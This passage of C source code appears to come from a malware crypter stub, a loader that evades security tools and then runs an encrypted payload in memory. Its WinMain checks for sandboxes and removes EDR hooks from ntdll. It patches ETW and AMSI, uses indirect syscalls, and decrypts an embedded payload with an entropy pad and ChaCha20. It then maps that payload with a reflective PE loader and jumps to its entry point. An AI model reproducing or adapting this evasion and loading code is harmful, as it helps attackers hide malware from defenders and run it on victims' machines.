if (delta != 0 && opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size > 0) {
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(
base + opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while (reloc->VirtualAddress > 0) {
LPBYTE page = base + reloc->VirtualAddress;
DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC_ENTRY);
IMAGE_RELOC_ENTRY *entries = (IMAGE_RELOC_ENTRY *)((LPBYTE)reloc + sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < count; i++) {
if (entries[i].type == IMAGE_REL_BASED_DIR64)
*(ULONGLONG *)(page + entries[i].offset) += delta;
else if (entries[i].type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD *)(page + entries[i].offset) += (DWORD)delta;
else if (entries[i].type == IMAGE_REL_BASED_HIGH)
*(WORD *)(page + entries[i].offset) += HIWORD(delta);
else if (entries[i].type == IMAGE_REL_BASED_LOW)
*(WORD *)(page + entries[i].offset) += LOWORD(delta);
}
reloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)reloc + reloc->SizeOfBlock);
}
}
/* Resolve imports */
DiagLog("LOADPE: relocs done\r\n");
if (opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0) {
PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(
base + opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (imp->Name) {
LPCSTR modName = (LPCSTR)(base + imp->Name);
HMODULE hMod = pLoadLibraryA(modName);
if (!hMod) {
DiagLog("LOADPE: FAIL import DLL: ");
DiagLog(modName);
DiagLog("\r\n");
return -7; /* DLL not found */
}
{
PIMAGE_THUNK_DATA origThunk;
PIMAGE_THUNK_DATA boundThunk;
if (imp->OriginalFirstThunk)
origThunk = (PIMAGE_THUNK_DATA)(base + imp->OriginalFirstThunk);
else
origThunk = (PIMAGE_THUNK_DATA)(base + imp->FirstThunk);
boundThunk = (PIMAGE_THUNK_DATA)(base + imp->FirstThunk);
while (origThunk->u1.AddressOfData) {
#ifdef _WIN64
if (origThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) {
LPCSTR ordinal = (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF);
#else
if (origThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32) {
LPCSTR ordinal = (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF);
#endif
boundThunk->u1.Function = (ULONG_PTR)pGetProcAddress(hMod, ordinal);
} else {
PIMAGE_IMPORT_BY_NAME byName = (PIMAGE_IMPORT_BY_NAME)(
base + origThunk->u1.AddressOfData);
boundThunk->u1.Function = (ULONG_PTR)pGetProcAddress(
hMod, (LPCSTR)byName->Name);
}
if (!boundThunk->u1.Function) {
DiagLog("LOADPE: FAIL import func in ");
DiagLog(modName);
DiagLog("\r\n");
return -8; /* Function not found */
}
origThunk++;
boundThunk++;
}
}
imp++;
}
}
DiagLog("LOADPE: imports resolved\r\n");
/* Update ImageBase in mapped headers */
{
PIMAGE_NT_HEADERS mappedNt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
mappedNt->OptionalHeader.ImageBase = (ULONG_PTR)base;
}
/* Update PEB.ImageBaseAddress so GetModuleHandle(NULL) returns the right value */
GetPeb()->ImageBaseAddress = base;
/* Set section memory protections via indirect syscalls */
for (WORD i = 0; i < numSections; i++) {
DWORD size = sections[i].Misc.VirtualSize;
if (size == 0) size = sections[i].SizeOfRawData;
if (size == 0) continue;
DWORD prot = SectionToProtection(sections[i].Characteristics);
if (sections[i].Characteristics & IMAGE_SCN_MEM_NOT_CACHED)
prot |= PAGE_NOCACHE;
PVOID secAddr = base + sections[i].VirtualAddress;
SIZE_T secSize = size;
ULONG oldProt;
IndirectNtProtectVirtualMemory((HANDLE)-1, &secAddr, &secSize, prot, &oldProt);
}
/* Protect headers as read-only */
{
PVOID hdrAddr = base;
SIZE_T hdrSize = opt->SizeOfHeaders;
ULONG oldProt;
IndirectNtProtectVirtualMemory((HANDLE)-1, &hdrAddr, &hdrSize, PAGE_READONLY, &oldProt);
}
/* Flush instruction cache */
IndirectNtFlushInstructionCache((HANDLE)-1, NULL, 0);
/* Register x64 exception handlers (.pdata) so SEH works in loaded PE */
#ifdef _WIN64
if (opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size > 0) {
typedef BOOLEAN (WINAPI *fn_RtlAddFunctionTable)(
PRUNTIME_FUNCTION, DWORD, DWORD64);
HMODULE hNtdll = pLoadLibraryA("ntdll.dll");
if (hNtdll) {
fn_RtlAddFunctionTable pRtlAddFunctionTable =
(fn_RtlAddFunctionTable)pGetProcAddress(hNtdll, "RtlAddFunctionTable");
if (pRtlAddFunctionTable) {
PRUNTIME_FUNCTION funcTable = (PRUNTIME_FUNCTION)(
base + opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress);
DWORD numEntries = opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size
/ sizeof(RUNTIME_FUNCTION);
pRtlAddFunctionTable(funcTable, numEntries, (DWORD64)base);
}
}
}
#endif
/* Initialize static TLS (Thread Local Storage) for the loaded PE.
*
* The Windows loader normally handles this, but for reflective loading
* we must manually set up the TEB's ThreadLocalStoragePointer so that
* __declspec(thread) / __thread variable access works. The CRT accesses
* static TLS like this:
*
* mov eax, [__tls_index] ; PE's .tls AddressOfIndex (usually 0)
* mov rcx, gs:[0x58] ; TEB.ThreadLocalStoragePointer
* mov rdx, [rcx + rax*8] ; Module's TLS data block
* mov rax, [rdx + offset] ; Access the TLS variable
*
* This is DIFFERENT from dynamic TLS (TlsAlloc/TlsGetValue) which uses
* TEB.TlsSlots. We must NOT use TlsAlloc here — it's the wrong mechanism.
*
* Without this, MinGW CRT's errno, strtok state, rand seed, etc. will
* crash, killing the process before main() is ever reached.
*/
if (opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size > 0) {
DiagLog("LOADPE: TLS init (static)...\r\n");
PIMAGE_TLS_DIRECTORY tls = (PIMAGE_TLS_DIRECTORY)(
base + opt->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
/* Read the __tls_index from the PE. For a standalone EXE compiled
* by MinGW, this is typically 0 (set by the linker). */
DWORD tlsIndex = 0;
if (tls->AddressOfIndex)
tlsIndex = *(DWORD *)(tls->AddressOfIndex);
DiagLogHex("LOADPE: __tls_index=", tlsIndex);
/* Calculate TLS data size from the template */
SIZE_T tlsDataSize = (SIZE_T)(tls->EndAddressOfRawData - tls->StartAddressOfRawData);
SIZE_T totalTlsSize = tlsDataSize + tls->SizeOfZeroFill;
DiagLogHex("LOADPE: TLS data size=", (uint32_t)totalTlsSize);
if (totalTlsSize > 0) {
/* Allocate TLS data block for this thread */
PVOID tlsData = NULL;
SIZE_T tlsAllocSize = totalTlsSize;
NTSTATUS tlsSt = IndirectNtAllocateVirtualMemory(
(HANDLE)-1, &tlsData, 0, &tlsAllocSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (tlsSt == 0 && tlsData) {
/* Copy initial TLS template data */
LPBYTE src = (LPBYTE)tls->StartAddressOfRawData;
LPBYTE dst = (LPBYTE)tlsData;
for (SIZE_T j = 0; j < tlsDataSize; j++)
dst[j] = src[j];
/* Zero-fill remainder is already zero from NtAllocate */
/* Write pointer into TEB.ThreadLocalStoragePointer[__tls_index].
* This is the array the CRT reads via gs:[0x58] (x64) / fs:[0x2C] (x86).
* The OS loader pre-allocates this array for all loaded modules. */
#ifdef _WIN64
LPVOID *tlsArray = (LPVOID *)__readgsqword(0x58);
#else
LPVOID *tlsArray = (LPVOID *)__readfsdword(0x2C);
#endif
if (tlsArray) {
tlsArray[tlsIndex] = tlsData;
DiagLog("LOADPE: TLS data written to TEB\r\n");
} else {
DiagLog("LOADPE: WARN TEB TLS array is NULL\r\n");
}
}
}
/* Call TLS callbacks */
PIMAGE_TLS_CALLBACK *callbacks = (PIMAGE_TLS_CALLBACK *)tls->AddressOfCallBacks;
if (callbacks) {
while (*callbacks) {
DiagLog("LOADPE: calling TLS callback\r\n");
(*callbacks)((PVOID)base, DLL_PROCESS_ATTACH, NULL);
callbacks++;
}
}
}
/* Save entry point RVA and header size before wiping source buffer
* (opt points into pe_data, so we must read them first) */
DWORD entryRVA = opt->AddressOfEntryPoint;
DWORD sizeOfHeaders = opt->SizeOfHeaders;
/* Wipe decrypted PE buffer */
SecureZeroMemory(pe_data, pe_size);
/* NOTE: Do NOT wipe PE headers before entry — the CRT's mainCRTStartup
* reads the PE headers (security cookie init, TLS, static initializers).
* Zeroing + PAGE_NOACCESS here causes an immediate access violation.
* Header wiping should be done post-CRT-init from within the agent. */
/* Jump to entry point (mainCRTStartup for EXEs with CRT) */
DiagLogHex("LOADPE: entry RVA=", entryRVA);
DiagLogHex("LOADPE: entry addr=", (uint32_t)(uintptr_t)(base + entryRVA));
DiagLog("LOADPE: jumping to entry\r\n");
DiagClose();
typedef int (*entry_point_fn)(void);
entry_point_fn entry = (entry_point_fn)(base + entryRVA);
return entry();
}
/* ======================================================================
* WinMain - GUI subsystem entry point (no console window)
* ====================================================================== */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {
(void)hInstance; (void)hPrevInstance; (void)lpCmdLine; (void)nCmdShow;
DiagInit();
DiagLog("STUB: entry\r\n");
/* Verify config was patched */
if (g_Config.magic != STUB_CONFIG_MAGIC || g_Config.payload_size == 0) {
DiagLog("STUB: FAIL config magic/size\r\n");
DiagClose();
return 0;
}
DiagLogHex("STUB: payload_size=", g_Config.payload_size);
DiagLogHex("STUB: payload_rva=", g_Config.payload_rva);
/* Layer 0: IAT padding — randomized benign API calls per build */
iat_padding_init();
/* Touch padding data to prevent linker stripping */
padding_touch();
/* Polymorphic junk code — varies binary layout per build */
poly_stub_init();
DiagLog("STUB: iat+poly done\r\n");
/* Layer 1: Sandbox detection */
#ifndef SKIP_SANDBOX
DiagLog("STUB: sandbox check...\r\n");
if (SandboxCheck()) {
DiagLog("STUB: FAIL sandbox (3+ checks triggered)\r\n");
DiagClose();
return 0;
}
DiagLog("STUB: sandbox passed\r\n");
#else
DiagLog("STUB: sandbox SKIPPED\r\n");
#endif
/* Layer 2: Ntdll unhooking (removes EDR inline hooks) */
int unhookResult = UnhookNtdll();
DiagLogHex("STUB: unhook ntdll=", (uint32_t)unhookResult);
/* Layer 3: ETW patching */
PatchETW();
DiagLog("STUB: etw patched\r\n");
/* Layer 3b: AMSI patching */
PatchAMSI();
DiagLog("STUB: amsi patched\r\n");
/* Layer 4: Initialize indirect syscalls */
LPBYTE ntdllBase = (LPBYTE)StubGetModuleHandle(FH_NTDLL);
if (!ntdllBase) {
DiagLog("STUB: FAIL ntdll not found\r\n");
DiagClose();
return 0;
}
DiagLogHex("STUB: ntdll base=", (uint32_t)(uintptr_t)ntdllBase);
if (InitSyscalls(ntdllBase) != 0) {
DiagLog("STUB: FAIL InitSyscalls\r\n");
DiagClose();
return 0;
}
DiagLog("STUB: syscalls init OK\r\n");
/* Get our own image base to calculate .data1 section address */
LPBYTE selfBase = (LPBYTE)GetPeb()->ImageBaseAddress;
if (!selfBase) {
DiagLog("STUB: FAIL selfBase null\r\n");
DiagClose();
return 0;
}
DiagLogHex("STUB: selfBase=", (uint32_t)(uintptr_t)selfBase);
/* Locate the encrypted+flattened payload via RVA from config */
uint8_t *flatPayload = selfBase + g_Config.payload_rva;
uint32_t payloadSize = g_Config.payload_size;
/* Allocate buffer for decryption via indirect syscall */
PVOID decBuf = NULL;
SIZE_T decSize = payloadSize;
NTSTATUS status = IndirectNtAllocateVirtualMemory(
(HANDLE)-1, &decBuf, 0, &decSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (status != 0 || !decBuf) {
DiagLogHex("STUB: FAIL NtAlloc dec status=", (uint32_t)status);
DiagClose();
return 0;
}
DiagLog("STUB: decBuf allocated\r\n");
/* Layer 5: Reverse entropy flattening (regenerate pad from seed, XOR) */
{
/* Allocate pad buffer on heap via indirect syscall */
PVOID padBuf = NULL;
SIZE_T padAllocSize = ENTROPY_PAD_SIZE;
NTSTATUS padStatus = IndirectNtAllocateVirtualMemory(
(HANDLE)-1, &padBuf, 0, &padAllocSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (padStatus != 0 || !padBuf) {
DiagLogHex("STUB: FAIL NtAlloc pad status=", (uint32_t)padStatus);
SIZE_T fs = 0;
IndirectNtFreeVirtualMemory((HANDLE)-1, &decBuf, &fs, MEM_RELEASE);
DiagClose();
return 0;
}
generate_entropy_pad(g_Config.entropy_seed, (uint8_t *)padBuf, ENTROPY_PAD_SIZE);
uint8_t *src = flatPayload;
uint8_t *dst = (uint8_t *)decBuf;
uint8_t *pad = (uint8_t *)padBuf;
for (uint32_t i = 0; i < payloadSize; i++) {
dst[i] = src[i] ^ pad[i % ENTROPY_PAD_SIZE];
}
/* Wipe and free pad */
SecureZeroMemory(padBuf, ENTROPY_PAD_SIZE);
SIZE_T padFreeSize = 0;
IndirectNtFreeVirtualMemory((HANDLE)-1, &padBuf, &padFreeSize, MEM_RELEASE);
}
DiagLog("STUB: entropy deflat done\r\n");
/* Layer 6: ChaCha20 decryption (in-place on the de-flattened buffer) */
{
uint8_t *temp = (uint8_t *)decBuf;
/* Copy key/nonce from volatile config to stack */
uint8_t key[32], nonce[12];
for (int i = 0; i < 32; i++) key[i] = g_Config.key[i];
for (int i = 0; i < 12; i++) nonce[i] = g_Config.nonce[i];
/* Decrypt: we need a second buffer because chacha20 XORs in→out */
PVOID plainBuf = NULL;
SIZE_T plainSize = payloadSize;
status = IndirectNtAllocateVirtualMemory(
(HANDLE)-1, &plainBuf, 0, &plainSize,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (status != 0 || !plainBuf) {
DiagLogHex("STUB: FAIL NtAlloc plain status=", (uint32_t)status);
SIZE_T freeSize = 0;
IndirectNtFreeVirtualMemory((HANDLE)-1, &decBuf, &freeSize, MEM_RELEASE);
DiagClose();
return 0;
}
chacha20_decrypt(key, nonce, temp, (uint8_t *)plainBuf, payloadSize);
DiagLog("STUB: chacha20 decrypt done\r\n");
/* Wipe key, nonce, intermediate buffer */
SecureZeroMemory(key, sizeof(key));
SecureZeroMemory(nonce, sizeof(nonce));
SecureZeroMemory(decBuf, payloadSize);
SIZE_T freeSize = 0;
IndirectNtFreeVirtualMemory((HANDLE)-1, &decBuf, &freeSize, MEM_RELEASE);
/* Verify decrypted PE has valid DOS header */
{
uint8_t *p = (uint8_t *)plainBuf;
DiagLogHex("STUB: PE byte0=", (uint32_t)p[0]);
DiagLogHex("STUB: PE byte1=", (uint32_t)p[1]);
if (p[0] != 'M' || p[1] != 'Z') {
DiagLog("STUB: FAIL MZ check (decrypt bad)\r\n");
freeSize = 0;
IndirectNtFreeVirtualMemory((HANDLE)-1, &plainBuf, &freeSize, MEM_RELEASE);
DiagClose();
return 0;
}
}
DiagLog("STUB: MZ verified, calling LoadPE\r\n");
/* Layer 7: Load and execute the decrypted PE */
int result = LoadPE((uint8_t *)plainBuf, payloadSize);
DiagLogHex("STUB: LoadPE returned=", (uint32_t)result);
/* Cleanup (may not be reached if PE takes over) */
freeSize = 0;
IndirectNtFreeVirtualMemory((HANDLE)-1, &plainBuf, &freeSize, MEM_RELEASE);
DiagClose();
return result;
}
}